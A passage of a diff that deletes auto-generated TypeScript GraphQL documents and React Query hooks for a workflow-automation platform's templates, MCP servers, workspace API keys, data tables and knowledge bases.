-    mutationFn: (variables?: ImportProjectTemplateMutationVariables) => fetcher<ImportProjectTemplateMutation, ImportProjectTemplateMutationVariables>(ImportProjectTemplateDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const ImportWorkflowTemplateDocument = `
-    mutation importWorkflowTemplate($workflowUuid: String!, $projectId: ID!, $sharedWorkflow: Boolean!) {
-  importWorkflowTemplate(
-    id: $workflowUuid
-    projectId: $projectId
-    sharedWorkflow: $sharedWorkflow
-  )
-}
-    `;
-
-export const useImportWorkflowTemplateMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<ImportWorkflowTemplateMutation, TError, ImportWorkflowTemplateMutationVariables, TContext>) => {
-    
-    return useMutation<ImportWorkflowTemplateMutation, TError, ImportWorkflowTemplateMutationVariables, TContext>(
-      {
-    mutationKey: ['importWorkflowTemplate'],
-    mutationFn: (variables?: ImportWorkflowTemplateMutationVariables) => fetcher<ImportWorkflowTemplateMutation, ImportWorkflowTemplateMutationVariables>(ImportWorkflowTemplateDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const McpProjectsByServerIdDocument = `
-    query mcpProjectsByServerId($mcpServerId: ID!) {
-  mcpProjectsByServerId(mcpServerId: $mcpServerId) {
-    id
-    projectDeploymentId
-    mcpServerId
-    project {
-      id
-      name
-      category {
-        id
-        name
-      }
-      tags {
-        id
-        name
-      }
-    }
-    mcpProjectWorkflows {
-      id
-      mcpProjectId
-      projectDeploymentWorkflowId
-      projectDeploymentWorkflow {
-        id
-        projectDeploymentId
-        inputs
-        workflowId
-      }
-      workflow {
-        id
-        label
-      }
-      createdBy
-      createdDate
-      lastModifiedBy
-      lastModifiedDate
-      version
-    }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
-    projectVersion
-  }
-}
-    `;
-
-export const useMcpProjectsByServerIdQuery = <
-      TData = McpProjectsByServerIdQuery,
-      TError = unknown
-    >(
-      variables: McpProjectsByServerIdQueryVariables,
-      options?: Omit<UseQueryOptions<McpProjectsByServerIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<McpProjectsByServerIdQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<McpProjectsByServerIdQuery, TError, TData>(
-      {
-    queryKey: ['mcpProjectsByServerId', variables],
-    queryFn: fetcher<McpProjectsByServerIdQuery, McpProjectsByServerIdQueryVariables>(McpProjectsByServerIdDocument, variables),
-    ...options
-  }
-    )};
-
-export const PreBuiltProjectTemplatesDocument = `
-    query preBuiltProjectTemplates($query: String, $category: String) {
-  preBuiltProjectTemplates(query: $query, category: $category) {
-    authorName
-    categories
-    components {
-      key
-      value {
-        connection {
-          version
-        }
-        icon
-        name
-        title
-        version
-      }
-    }
-    description
-    id
-    project {
-      name
-      description
-    }
-    projectVersion
-    publicUrl
-    workflows {
-      id
-      label
-    }
-  }
-}
-    `;
-
-export const usePreBuiltProjectTemplatesQuery = <
-      TData = PreBuiltProjectTemplatesQuery,
-      TError = unknown
-    >(
-      variables?: PreBuiltProjectTemplatesQueryVariables,
-      options?: Omit<UseQueryOptions<PreBuiltProjectTemplatesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<PreBuiltProjectTemplatesQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<PreBuiltProjectTemplatesQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['preBuiltProjectTemplates'] : ['preBuiltProjectTemplates', variables],
-    queryFn: fetcher<PreBuiltProjectTemplatesQuery, PreBuiltProjectTemplatesQueryVariables>(PreBuiltProjectTemplatesDocument, variables),
-    ...options
-  }
-    )};
-
-export const PreBuiltWorkflowTemplatesDocument = `
-    query preBuiltWorkflowTemplates($query: String, $category: String) {
-  preBuiltWorkflowTemplates(query: $query, category: $category) {
-    authorName
-    categories
-    components {
-      connection {
-        version
-      }
-      icon
-      name
-      title
-      version
-    }
-    description
-    id
-    projectVersion
-    publicUrl
-    workflow {
-      label
-      description
-    }
-  }
-}
-    `;
-
-export const usePreBuiltWorkflowTemplatesQuery = <
-      TData = PreBuiltWorkflowTemplatesQuery,
-      TError = unknown
-    >(
-      variables?: PreBuiltWorkflowTemplatesQueryVariables,
-      options?: Omit<UseQueryOptions<PreBuiltWorkflowTemplatesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<PreBuiltWorkflowTemplatesQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<PreBuiltWorkflowTemplatesQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['preBuiltWorkflowTemplates'] : ['preBuiltWorkflowTemplates', variables],
-    queryFn: fetcher<PreBuiltWorkflowTemplatesQuery, PreBuiltWorkflowTemplatesQueryVariables>(PreBuiltWorkflowTemplatesDocument, variables),
-    ...options
-  }
-    )};
-
-export const ProjectByIdDocument = `
-    query projectById($id: ID!) {
-  project(id: $id) {
-    id
-    name
-  }
-}
-    `;
-
-export const useProjectByIdQuery = <
-      TData = ProjectByIdQuery,
-      TError = unknown
-    >(
-      variables: ProjectByIdQueryVariables,
-      options?: Omit<UseQueryOptions<ProjectByIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ProjectByIdQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ProjectByIdQuery, TError, TData>(
-      {
-    queryKey: ['projectById', variables],
-    queryFn: fetcher<ProjectByIdQuery, ProjectByIdQueryVariables>(ProjectByIdDocument, variables),
-    ...options
-  }
-    )};
-
-export const ProjectTemplateDocument = `
-    query projectTemplate($id: String!, $sharedProject: Boolean!) {
-  projectTemplate(id: $id, sharedProject: $sharedProject) {
-    components {
-      key
-      value {
-        connection {
-          componentName
-          version
-        }
-        icon
-        name
-        title
-        version
-      }
-    }
-    description
-    project {
-      name
-    }
-    projectVersion
-    publicUrl
-    workflows {
-      id
-      label
-    }
-  }
-}
-    `;
-
-export const useProjectTemplateQuery = <
-      TData = ProjectTemplateQuery,
-      TError = unknown
-    >(
-      variables: ProjectTemplateQueryVariables,
-      options?: Omit<UseQueryOptions<ProjectTemplateQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ProjectTemplateQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ProjectTemplateQuery, TError, TData>(
-      {
-    queryKey: ['projectTemplate', variables],
-    queryFn: fetcher<ProjectTemplateQuery, ProjectTemplateQueryVariables>(ProjectTemplateDocument, variables),
-    ...options
-  }
-    )};
-
-export const SharedProjectDocument = `
-    query sharedProject($projectUuid: String!) {
-  sharedProject(projectUuid: $projectUuid) {
-    description
-    exported
-    projectVersion
-    publicUrl
-  }
-}
-    `;
-
-export const useSharedProjectQuery = <
-      TData = SharedProjectQuery,
-      TError = unknown
-    >(
-      variables: SharedProjectQueryVariables,
-      options?: Omit<UseQueryOptions<SharedProjectQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<SharedProjectQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<SharedProjectQuery, TError, TData>(
-      {
-    queryKey: ['sharedProject', variables],
-    queryFn: fetcher<SharedProjectQuery, SharedProjectQueryVariables>(SharedProjectDocument, variables),
-    ...options
-  }
-    )};
-
-export const SharedWorkflowDocument = `
-    query sharedWorkflow($workflowUuid: String!) {
-  sharedWorkflow(workflowUuid: $workflowUuid) {
-    description
-    exported
-    projectVersion
-    publicUrl
-  }
-}
-    `;
-
-export const useSharedWorkflowQuery = <
-      TData = SharedWorkflowQuery,
-      TError = unknown
-    >(
-      variables: SharedWorkflowQueryVariables,
-      options?: Omit<UseQueryOptions<SharedWorkflowQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<SharedWorkflowQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<SharedWorkflowQuery, TError, TData>(
-      {
-    queryKey: ['sharedWorkflow', variables],
-    queryFn: fetcher<SharedWorkflowQuery, SharedWorkflowQueryVariables>(SharedWorkflowDocument, variables),
-    ...options
-  }
-    )};
-
-export const UpdateMcpServerDocument = `
-    mutation updateMcpServer($id: ID!, $input: McpServerUpdateInput!) {
-  updateMcpServer(id: $id, input: $input) {
-    id
-    name
-    enabled
-  }
-}
-    `;
-
-export const useUpdateMcpServerMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateMcpServerMutation, TError, UpdateMcpServerMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateMcpServerMutation, TError, UpdateMcpServerMutationVariables, TContext>(
-      {
-    mutationKey: ['updateMcpServer'],
-    mutationFn: (variables?: UpdateMcpServerMutationVariables) => fetcher<UpdateMcpServerMutation, UpdateMcpServerMutationVariables>(UpdateMcpServerDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateMcpServerTagsDocument = `
-    mutation updateMcpServerTags($id: ID!, $tags: [TagInput!]!) {
-  updateMcpServerTags(id: $id, tags: $tags) {
-    id
-  }
-}
-    `;
-
-export const useUpdateMcpServerTagsMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateMcpServerTagsMutation, TError, UpdateMcpServerTagsMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateMcpServerTagsMutation, TError, UpdateMcpServerTagsMutationVariables, TContext>(
-      {
-    mutationKey: ['updateMcpServerTags'],
-    mutationFn: (variables?: UpdateMcpServerTagsMutationVariables) => fetcher<UpdateMcpServerTagsMutation, UpdateMcpServerTagsMutationVariables>(UpdateMcpServerTagsDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateWorkspaceApiKeyDocument = `
-    mutation updateWorkspaceApiKey($apiKeyId: ID!, $name: String!) {
-  updateWorkspaceApiKey(apiKeyId: $apiKeyId, name: $name)
-}
-    `;
-
-export const useUpdateWorkspaceApiKeyMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateWorkspaceApiKeyMutation, TError, UpdateWorkspaceApiKeyMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateWorkspaceApiKeyMutation, TError, UpdateWorkspaceApiKeyMutationVariables, TContext>(
-      {
-    mutationKey: ['updateWorkspaceApiKey'],
-    mutationFn: (variables?: UpdateWorkspaceApiKeyMutationVariables) => fetcher<UpdateWorkspaceApiKeyMutation, UpdateWorkspaceApiKeyMutationVariables>(UpdateWorkspaceApiKeyDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const WorkflowChatProjectDeploymentWorkflowDocument = `
-    query workflowChatProjectDeploymentWorkflow($id: String!) {
-  projectDeploymentWorkflow(id: $id) {
-    projectWorkflow {
-      sseStreamResponse
-      workflow {
-        label
-      }
-    }
-  }
-}
-    `;
-
-export const useWorkflowChatProjectDeploymentWorkflowQuery = <
-      TData = WorkflowChatProjectDeploymentWorkflowQuery,
-      TError = unknown
-    >(
-      variables: WorkflowChatProjectDeploymentWorkflowQueryVariables,
-      options?: Omit<UseQueryOptions<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkflowChatProjectDeploymentWorkflowQuery, TError, TData>(
-      {
-    queryKey: ['workflowChatProjectDeploymentWorkflow', variables],
-    queryFn: fetcher<WorkflowChatProjectDeploymentWorkflowQuery, WorkflowChatProjectDeploymentWorkflowQueryVariables>(WorkflowChatProjectDeploymentWorkflowDocument, variables),
-    ...options
-  }
-    )};
-
-export const WorkflowChatWorkspaceProjectDeploymentsDocument = `
-    query workflowChatWorkspaceProjectDeployments($workspaceId: ID!, $environmentId: ID!, $projectId: ID, $tagId: ID) {
-  workspaceProjectDeployments(
-    workspaceId: $workspaceId
-    environmentId: $environmentId
-    projectId: $projectId
-    tagId: $tagId
-  ) {
-    id
-    enabled
-    project {
-      id
-      name
-    }
-    projectDeploymentWorkflows {
-      id
-      enabled
-      staticWebhookUrl
-      workflowExecutionId
-      projectWorkflow {
-        workflow {
-          id
-          label
-          triggers {
-            parameters
-            type
-          }
-        }
-      }
-    }
-  }
-}
-    `;
-
-export const useWorkflowChatWorkspaceProjectDeploymentsQuery = <
-      TData = WorkflowChatWorkspaceProjectDeploymentsQuery,
-      TError = unknown
-    >(
-      variables: WorkflowChatWorkspaceProjectDeploymentsQueryVariables,
-      options?: Omit<UseQueryOptions<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkflowChatWorkspaceProjectDeploymentsQuery, TError, TData>(
-      {
-    queryKey: ['workflowChatWorkspaceProjectDeployments', variables],
-    queryFn: fetcher<WorkflowChatWorkspaceProjectDeploymentsQuery, WorkflowChatWorkspaceProjectDeploymentsQueryVariables>(WorkflowChatWorkspaceProjectDeploymentsDocument, variables),
-    ...options
-  }
-    )};
-
-export const WorkflowTemplateDocument = `
-    query workflowTemplate($id: String!, $sharedWorkflow: Boolean!) {
-  workflowTemplate(id: $id, sharedWorkflow: $sharedWorkflow) {
-    description
-    projectVersion
-    publicUrl
-    workflow {
-      label
-    }
-    components {
-      connection {
-        componentName
-        version
-      }
-      icon
-      name
-      title
-      version
-    }
-  }
-}
-    `;
-
-export const useWorkflowTemplateQuery = <
-      TData = WorkflowTemplateQuery,
-      TError = unknown
-    >(
-      variables: WorkflowTemplateQueryVariables,
-      options?: Omit<UseQueryOptions<WorkflowTemplateQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowTemplateQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkflowTemplateQuery, TError, TData>(
-      {
-    queryKey: ['workflowTemplate', variables],
-    queryFn: fetcher<WorkflowTemplateQuery, WorkflowTemplateQueryVariables>(WorkflowTemplateDocument, variables),
-    ...options
-  }
-    )};
-
-export const WorkspaceApiKeysDocument = `
-    query workspaceApiKeys($workspaceId: ID!, $environmentId: ID!) {
-  workspaceApiKeys(workspaceId: $workspaceId, environmentId: $environmentId) {
-    id
-    name
-    secretKey
-    lastUsedDate
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-  }
-}
-    `;
-
-export const useWorkspaceApiKeysQuery = <
-      TData = WorkspaceApiKeysQuery,
-      TError = unknown
-    >(
-      variables: WorkspaceApiKeysQueryVariables,
-      options?: Omit<UseQueryOptions<WorkspaceApiKeysQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkspaceApiKeysQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkspaceApiKeysQuery, TError, TData>(
-      {
-    queryKey: ['workspaceApiKeys', variables],
-    queryFn: fetcher<WorkspaceApiKeysQuery, WorkspaceApiKeysQueryVariables>(WorkspaceApiKeysDocument, variables),
-    ...options
-  }
-    )};
-
-export const WorkspaceMcpServersDocument = `
-    query workspaceMcpServers($workspaceId: ID!) {
-  workspaceMcpServers(workspaceId: $workspaceId) {
-    id
-    name
-    type
-    environmentId
-    enabled
-    url
-    mcpComponents {
-      id
-      mcpServerId
-      componentName
-      componentVersion
-    }
-    tags {
-      id
-      name
-    }
-    lastModifiedDate
-  }
-}
-    `;
-
-export const useWorkspaceMcpServersQuery = <
-      TData = WorkspaceMcpServersQuery,
-      TError = unknown
-    >(
-      variables: WorkspaceMcpServersQueryVariables,
-      options?: Omit<UseQueryOptions<WorkspaceMcpServersQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkspaceMcpServersQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkspaceMcpServersQuery, TError, TData>(
-      {
-    queryKey: ['workspaceMcpServers', variables],
-    queryFn: fetcher<WorkspaceMcpServersQuery, WorkspaceMcpServersQueryVariables>(WorkspaceMcpServersDocument, variables),
-    ...options
-  }
-    )};
-
-export const AddDataTableColumnDocument = `
-    mutation addDataTableColumn($input: AddColumnInput!) {
-  addDataTableColumn(input: $input)
-}
-    `;
-
-export const useAddDataTableColumnMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<AddDataTableColumnMutation, TError, AddDataTableColumnMutationVariables, TContext>) => {
-    
-    return useMutation<AddDataTableColumnMutation, TError, AddDataTableColumnMutationVariables, TContext>(
-      {
-    mutationKey: ['addDataTableColumn'],
-    mutationFn: (variables?: AddDataTableColumnMutationVariables) => fetcher<AddDataTableColumnMutation, AddDataTableColumnMutationVariables>(AddDataTableColumnDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const CreateDataTableDocument = `
-    mutation createDataTable($input: CreateDataTableInput!) {
-  createDataTable(input: $input)
-}
-    `;
-
-export const useCreateDataTableMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateDataTableMutation, TError, CreateDataTableMutationVariables, TContext>) => {
-    
-    return useMutation<CreateDataTableMutation, TError, CreateDataTableMutationVariables, TContext>(
-      {
-    mutationKey: ['createDataTable'],
-    mutationFn: (variables?: CreateDataTableMutationVariables) => fetcher<CreateDataTableMutation, CreateDataTableMutationVariables>(CreateDataTableDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DataTableRowsDocument = `
-    query dataTableRows($environmentId: ID!, $tableId: ID!) {
-  dataTableRows(environmentId: $environmentId, tableId: $tableId) {
-    id
-    values
-  }
-}
-    `;
-
-export const useDataTableRowsQuery = <
-      TData = DataTableRowsQuery,
-      TError = unknown
-    >(
-      variables: DataTableRowsQueryVariables,
-      options?: Omit<UseQueryOptions<DataTableRowsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<DataTableRowsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<DataTableRowsQuery, TError, TData>(
-      {
-    queryKey: ['dataTableRows', variables],
-    queryFn: fetcher<DataTableRowsQuery, DataTableRowsQueryVariables>(DataTableRowsDocument, variables),
-    ...options
-  }
-    )};
-
-export const DataTableRowsPageDocument = `
-    query dataTableRowsPage($environmentId: ID!, $tableId: ID!, $limit: Int, $offset: Int) {
-  dataTableRowsPage(
-    environmentId: $environmentId
-    tableId: $tableId
-    limit: $limit
-    offset: $offset
-  ) {
-    items {
-      id
-      values
-    }
-    hasMore
-    nextOffset
-  }
-}
-    `;
-
-export const useDataTableRowsPageQuery = <
-      TData = DataTableRowsPageQuery,
-      TError = unknown
-    >(
-      variables: DataTableRowsPageQueryVariables,
-      options?: Omit<UseQueryOptions<DataTableRowsPageQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<DataTableRowsPageQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<DataTableRowsPageQuery, TError, TData>(
-      {
-    queryKey: ['dataTableRowsPage', variables],
-    queryFn: fetcher<DataTableRowsPageQuery, DataTableRowsPageQueryVariables>(DataTableRowsPageDocument, variables),
-    ...options
-  }
-    )};
-
-export const DataTableTagsDocument = `
-    query dataTableTags {
-  dataTableTags {
-    id
-    name
-  }
-}
-    `;
-
-export const useDataTableTagsQuery = <
-      TData = DataTableTagsQuery,
-      TError = unknown
-    >(
-      variables?: DataTableTagsQueryVariables,
-      options?: Omit<UseQueryOptions<DataTableTagsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<DataTableTagsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<DataTableTagsQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['dataTableTags'] : ['dataTableTags', variables],
-    queryFn: fetcher<DataTableTagsQuery, DataTableTagsQueryVariables>(DataTableTagsDocument, variables),
-    ...options
-  }
-    )};
-
-export const DataTableTagsByTableDocument = `
-    query dataTableTagsByTable {
-  dataTableTagsByTable {
-    tableId
-    tags {
-      id
-      name
-    }
-  }
-}
-    `;
-
-export const useDataTableTagsByTableQuery = <
-      TData = DataTableTagsByTableQuery,
-      TError = unknown
-    >(
-      variables?: DataTableTagsByTableQueryVariables,
-      options?: Omit<UseQueryOptions<DataTableTagsByTableQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<DataTableTagsByTableQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<DataTableTagsByTableQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['dataTableTagsByTable'] : ['dataTableTagsByTable', variables],
-    queryFn: fetcher<DataTableTagsByTableQuery, DataTableTagsByTableQueryVariables>(DataTableTagsByTableDocument, variables),
-    ...options
-  }
-    )};
-
-export const DataTablesDocument = `
-    query dataTables($environmentId: ID!, $workspaceId: ID!) {
-  dataTables(environmentId: $environmentId, workspaceId: $workspaceId) {
-    id
-    baseName
-    lastModifiedDate
-    columns {
-      id
-      name
-      type
-    }
-  }
-}
-    `;
-
-export const useDataTablesQuery = <
-      TData = DataTablesQuery,
-      TError = unknown
-    >(
-      variables: DataTablesQueryVariables,
-      options?: Omit<UseQueryOptions<DataTablesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<DataTablesQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<DataTablesQuery, TError, TData>(
-      {
-    queryKey: ['dataTables', variables],
-    queryFn: fetcher<DataTablesQuery, DataTablesQueryVariables>(DataTablesDocument, variables),
-    ...options
-  }
-    )};
-
-export const DeleteDataTableRowDocument = `
-    mutation deleteDataTableRow($input: DeleteRowInput!) {
-  deleteDataTableRow(input: $input)
-}
-    `;
-
-export const useDeleteDataTableRowMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteDataTableRowMutation, TError, DeleteDataTableRowMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteDataTableRowMutation, TError, DeleteDataTableRowMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteDataTableRow'],
-    mutationFn: (variables?: DeleteDataTableRowMutationVariables) => fetcher<DeleteDataTableRowMutation, DeleteDataTableRowMutationVariables>(DeleteDataTableRowDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DropDataTableDocument = `
-    mutation dropDataTable($input: RemoveTableInput!) {
-  dropDataTable(input: $input)
-}
-    `;
-
-export const useDropDataTableMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DropDataTableMutation, TError, DropDataTableMutationVariables, TContext>) => {
-    
-    return useMutation<DropDataTableMutation, TError, DropDataTableMutationVariables, TContext>(
-      {
-    mutationKey: ['dropDataTable'],
-    mutationFn: (variables?: DropDataTableMutationVariables) => fetcher<DropDataTableMutation, DropDataTableMutationVariables>(DropDataTableDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DuplicateDataTableDocument = `
-    mutation duplicateDataTable($input: DuplicateDataTableInput!) {
-  duplicateDataTable(input: $input)
-}
-    `;
-
-export const useDuplicateDataTableMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DuplicateDataTableMutation, TError, DuplicateDataTableMutationVariables, TContext>) => {
-    
-    return useMutation<DuplicateDataTableMutation, TError, DuplicateDataTableMutationVariables, TContext>(
-      {
-    mutationKey: ['duplicateDataTable'],
-    mutationFn: (variables?: DuplicateDataTableMutationVariables) => fetcher<DuplicateDataTableMutation, DuplicateDataTableMutationVariables>(DuplicateDataTableDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const ExportDataTableCsvDocument = `
-    query exportDataTableCsv($environmentId: ID!, $tableId: ID!) {
-  exportDataTableCsv(environmentId: $environmentId, tableId: $tableId)
-}
-    `;
-
-export const useExportDataTableCsvQuery = <
-      TData = ExportDataTableCsvQuery,
-      TError = unknown
-    >(
-      variables: ExportDataTableCsvQueryVariables,
-      options?: Omit<UseQueryOptions<ExportDataTableCsvQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ExportDataTableCsvQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<ExportDataTableCsvQuery, TError, TData>(
-      {
-    queryKey: ['exportDataTableCsv', variables],
-    queryFn: fetcher<ExportDataTableCsvQuery, ExportDataTableCsvQueryVariables>(ExportDataTableCsvDocument, variables),
-    ...options
-  }
-    )};
-
-export const ImportDataTableCsvDocument = `
-    mutation importDataTableCsv($input: ImportCsvInput!) {
-  importDataTableCsv(input: $input)
-}
-    `;
-
-export const useImportDataTableCsvMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<ImportDataTableCsvMutation, TError, ImportDataTableCsvMutationVariables, TContext>) => {
-    
-    return useMutation<ImportDataTableCsvMutation, TError, ImportDataTableCsvMutationVariables, TContext>(
-      {
-    mutationKey: ['importDataTableCsv'],
-    mutationFn: (variables?: ImportDataTableCsvMutationVariables) => fetcher<ImportDataTableCsvMutation, ImportDataTableCsvMutationVariables>(ImportDataTableCsvDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const InsertDataTableRowDocument = `
-    mutation insertDataTableRow($input: InsertRowInput!) {
-  insertDataTableRow(input: $input) {
-    id
-    values
-  }
-}
-    `;
-
-export const useInsertDataTableRowMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<InsertDataTableRowMutation, TError, InsertDataTableRowMutationVariables, TContext>) => {
-    
-    return useMutation<InsertDataTableRowMutation, TError, InsertDataTableRowMutationVariables, TContext>(
-      {
-    mutationKey: ['insertDataTableRow'],
-    mutationFn: (variables?: InsertDataTableRowMutationVariables) => fetcher<InsertDataTableRowMutation, InsertDataTableRowMutationVariables>(InsertDataTableRowDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const RemoveDataTableColumnDocument = `
-    mutation removeDataTableColumn($input: RemoveColumnInput!) {
-  removeDataTableColumn(input: $input)
-}
-    `;
-
-export const useRemoveDataTableColumnMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<RemoveDataTableColumnMutation, TError, RemoveDataTableColumnMutationVariables, TContext>) => {
-    
-    return useMutation<RemoveDataTableColumnMutation, TError, RemoveDataTableColumnMutationVariables, TContext>(
-      {
-    mutationKey: ['removeDataTableColumn'],
-    mutationFn: (variables?: RemoveDataTableColumnMutationVariables) => fetcher<RemoveDataTableColumnMutation, RemoveDataTableColumnMutationVariables>(RemoveDataTableColumnDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const RenameDataTableDocument = `
-    mutation renameDataTable($input: RenameDataTableInput!) {
-  renameDataTable(input: $input)
-}
-    `;
-
-export const useRenameDataTableMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<RenameDataTableMutation, TError, RenameDataTableMutationVariables, TContext>) => {
-    
-    return useMutation<RenameDataTableMutation, TError, RenameDataTableMutationVariables, TContext>(
-      {
-    mutationKey: ['renameDataTable'],
-    mutationFn: (variables?: RenameDataTableMutationVariables) => fetcher<RenameDataTableMutation, RenameDataTableMutationVariables>(RenameDataTableDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const RenameDataTableColumnDocument = `
-    mutation renameDataTableColumn($input: RenameColumnInput!) {
-  renameDataTableColumn(input: $input)
-}
-    `;
-
-export const useRenameDataTableColumnMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<RenameDataTableColumnMutation, TError, RenameDataTableColumnMutationVariables, TContext>) => {
-    
-    return useMutation<RenameDataTableColumnMutation, TError, RenameDataTableColumnMutationVariables, TContext>(
-      {
-    mutationKey: ['renameDataTableColumn'],
-    mutationFn: (variables?: RenameDataTableColumnMutationVariables) => fetcher<RenameDataTableColumnMutation, RenameDataTableColumnMutationVariables>(RenameDataTableColumnDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateDataTableRowDocument = `
-    mutation updateDataTableRow($input: UpdateRowInput!) {
-  updateDataTableRow(input: $input) {
-    id
-    values
-  }
-}
-    `;
-
-export const useUpdateDataTableRowMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateDataTableRowMutation, TError, UpdateDataTableRowMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateDataTableRowMutation, TError, UpdateDataTableRowMutationVariables, TContext>(
-      {
-    mutationKey: ['updateDataTableRow'],
-    mutationFn: (variables?: UpdateDataTableRowMutationVariables) => fetcher<UpdateDataTableRowMutation, UpdateDataTableRowMutationVariables>(UpdateDataTableRowDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateDataTableTagsDocument = `
-    mutation updateDataTableTags($input: UpdateDataTableTagsInput!) {
-  updateDataTableTags(input: $input)
-}
-    `;
-
-export const useUpdateDataTableTagsMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateDataTableTagsMutation, TError, UpdateDataTableTagsMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateDataTableTagsMutation, TError, UpdateDataTableTagsMutationVariables, TContext>(
-      {
-    mutationKey: ['updateDataTableTags'],
-    mutationFn: (variables?: UpdateDataTableTagsMutationVariables) => fetcher<UpdateDataTableTagsMutation, UpdateDataTableTagsMutationVariables>(UpdateDataTableTagsDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const CreateKnowledgeBaseDocument = `
-    mutation createKnowledgeBase($knowledgeBase: KnowledgeBaseInput!, $workspaceId: ID!) {
-  createKnowledgeBase(knowledgeBase: $knowledgeBase, workspaceId: $workspaceId) {
-    id
-    name
-  }
-}
-    `;
-
-export const useCreateKnowledgeBaseMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<CreateKnowledgeBaseMutation, TError, CreateKnowledgeBaseMutationVariables, TContext>) => {
-    
-    return useMutation<CreateKnowledgeBaseMutation, TError, CreateKnowledgeBaseMutationVariables, TContext>(
-      {
-    mutationKey: ['createKnowledgeBase'],
